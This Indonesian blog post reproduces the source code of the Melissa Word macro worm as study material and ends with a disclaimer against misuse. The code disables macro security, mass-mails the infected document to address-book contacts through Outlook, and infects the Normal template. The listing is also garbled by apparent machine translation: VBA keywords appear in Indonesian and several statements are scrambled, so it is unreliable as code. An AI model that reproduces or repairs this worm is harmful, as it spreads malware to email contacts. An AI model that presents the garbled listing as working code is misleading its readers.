Cari Blog Ini

Protected by Copyscape Online Copyright Protection Software

source code virus Mellisa


Disini Kita membedah kode sumber virus melisa, Semoga Kita Bisa belajar agar-agar nantinya Dari Sini Kita Bisa mengerti dan belajar Mampu.
Serta Kita dapat Menambah pengetahuan KESAWAN mempelajari virus.
Dibawah Suami Kita mempelajari kode sumber virus Mellisa.

Private Sub AutoOpen ()
On Error Resume Next
p $ = "clone"
Jika System.PrivateProfileString ("", "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 9.0 \ Word \ Security", "Level") <> "" Lalu
CommandBars ("Macro"). Controls ("Security ..."). Enabled = False
System.PrivateProfileString ("", "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 9.0 \ Word \ Security", "Level") 1 = &
Lain
p $ = "clone"
CommandBars ("Tools") Controls ("Macro").. Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject ("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace ("MAPI")
Jika System.PrivateProfileString ("", "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \", "Melissa?") <> "... Dengan Kwyjibo" Lalu
Jika UngaDasOutlook = "Outlook" Lalu
DasMapiName.Logon "profil", "password"
Untuk y 1 = Untuk DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists (y)
x 1 =
Set BreakUmOffASlice = UngaDasOutlook.CreateItem (0)
Untuk oo 1 = Untuk AddyBook.AddressEntries.Count
Mengintip = AddyBook.AddressEntries (x)
BreakUmOffASlice.Recipients.Add Peep
x = + x 1
Jika x> 50 Lalu oo = AddyBook.AddressEntries.Count
Berikutnya oo
BreakUmOffASlice.Subject = "Pesan Penting Dari" & Application.UserName
BreakUmOffASlice.Body = "Ini adalah dokumen yang Anda minta ... tidak menunjukkan orang lain ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Berikutnya y
DasMapiName.Logoff
End If
p $ = "clone"
System.PrivateProfileString ("", "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \", "Melissa?") = "... By Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item (1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item (1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN 2 =
Jika> <"Melissa" ADI1.Name Lalu
Jika> ADCL 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
Jika> <"Melissa" NTI1.Name Lalu
Jika> NTCL 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DONT = True
End If
Jika DONT <>> <Benar Dan DoAD Benar Kemudian GoTo CYA
Jika DONT = Benar Kemudian
Do While ADI1.CodeModule.Lines (1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Putaran
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close ()")
Do While ADI1.CodeModule.Lines (BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines (BGN, 1)
BGN = BGN + 1
Putaran
End If
p $ = "clone"
Jika DoAD = Benar Kemudian
Do While NTI1.CodeModule.Lines (1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Putaran
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open ()")
Do While NTI1.CodeModule.Lines (BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines (BGN, 1)
BGN = BGN + 1
Putaran
End If
CYA:
Jika <NTCL> 0 Dan ADCL = 0 Dan (Instr (1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName: ActiveDocument.FullName =
Elseif (Instr (1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD / Melissa ditulis oleh Kwyjibo
'Clone ditulis oleh Duke / SMF
'Bekerja dalam kedua Word 2000 dan Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? Anda Putuskan!
'Word -> Email | Word 97 <-> Word 2000 ... itu adalah era baru!
Jika Hari (Sekarang) = Minute (Sekarang) Kemudian Selection.TypeText "Dua puluh dua titik, plus triple-word-score, plus poin lima puluh untuk menggunakan semua surat-surat saya. Game sudah berakhir. Aku keluar dari sini."
End Sub


Sumber: http://www.klik-kanan.com

Semoga bermanfaat Suami Tulisan, dan sebagai Bahan belajar, Bukan Membuat Orang sebagi cara lain dirugikan.

0 komentar:

Posting Komentar

_CaesarVraseaC_



ALIHKAN MOUSE ANDA,,MAKA AKAN KEMBALI SEPERTI SEMULA !!

wibiya widget

Ilmu Komputer

Ilmu Komputer

script src='http://sites.google.com/site/gudangfathur/kode/rainbowlink.js'/>